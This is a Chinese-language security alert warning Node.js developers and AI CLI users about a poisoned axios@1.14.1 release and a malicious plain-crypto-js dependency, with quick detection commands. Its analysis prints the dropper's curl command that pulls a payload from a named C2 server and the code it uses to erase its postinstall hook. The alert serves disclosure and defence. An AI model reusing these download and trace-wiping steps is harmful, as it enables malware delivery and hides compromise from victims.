⚠️⚠️⚠️ 紧急通告⚠️⚠️⚠️
各位开发者 特别是Nodejs 使用 axios库的时候 检查下 axios 版本
补充一下 不仅仅是开发人员 使用了AI Cli(例如codex claude code) 并且调用了 open-websearch 等MCP的也要自查
使用 npx 安装的 latest 版本的时候会安装 axios@1.14.1 此版本存在供应链投毒
恶意包 │ plain-crypto-js@4.2.1(伪装 crypto-js)
投毒的 axios │ axios@1.14.1(被篡改,加入了 plain-crypto-js 依赖)
受影响的 MCP │ open-websearch 和 exa-mcp-server 的 npx 缓存
恶意行为 │ 复制 PowerShell 为 wt.exe,执行远程载荷后自删除
攻击行为详解
C2 服务器 : http:/sfrclak.com:8000/6202033
三平台全覆盖的攻击
Windows :
1. where powershell → 找到 powershell.exe 路径
2. 复制 powershell.exe → C:\ProgramData\wt.exe (伪装成 Windows Terminal)
3. 写入 VBS 脚本到 %TEMP%\6202033.vbs:
- 用 curl 从 C2 下载载荷: curl -s -X POST -d "packages.npm.org/product1" "http:/sfrclak.com:8000/6202033"
- 保存为 .ps1 文件
- 用伪装的 wt.exe (实际是 PowerShell) 隐窗执行: -w hidden -ep bypass
- 执行完删除 .ps1
4. 用 cscript 静默执行 VBS,执行完删除 VBS
macOS:
1. curl 从 C2 下载二进制到 /Library/Caches/com.apple.act.mond (伪装成系统进程)
2. chmod 770 赋权
3. 后台执行,连回 C2
4. 通过 osascript (AppleScript) 执行,删除痕迹
Linux:
1. curl 从 C2 下载 Python 脚本到 /tmp/ld.py
2. nohup 后台执行,连回 C2
最后的毁尸灭迹
// 删除 setup.js 自身
fs.unlink(__filename, (x=>{}));
// 把 package.md 重命名为 package.json,覆盖掉含 postinstall 的原始 package.json
fs.rename("package.md", "package.json", (x=>{}));
连 package.json 都替换了,事后检查依赖根本看不出 postinstall 曾经存在过。
快速排查
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
请检查plain-crypto-js以下内容node_modules:
ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED"
如果该程序setup.js已经运行,package.json则此目录中的内容将被替换为干净的存根文件。
该目录的存在足以证明投放器已执行。
检查受影响系统上是否存在 RAT 痕迹:
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED"
# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED":: Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED
这是一个不到 24 小时前发生的 0-day 供应链攻击(2026-03-31),目前 npm 和安全社区尚未公开披露。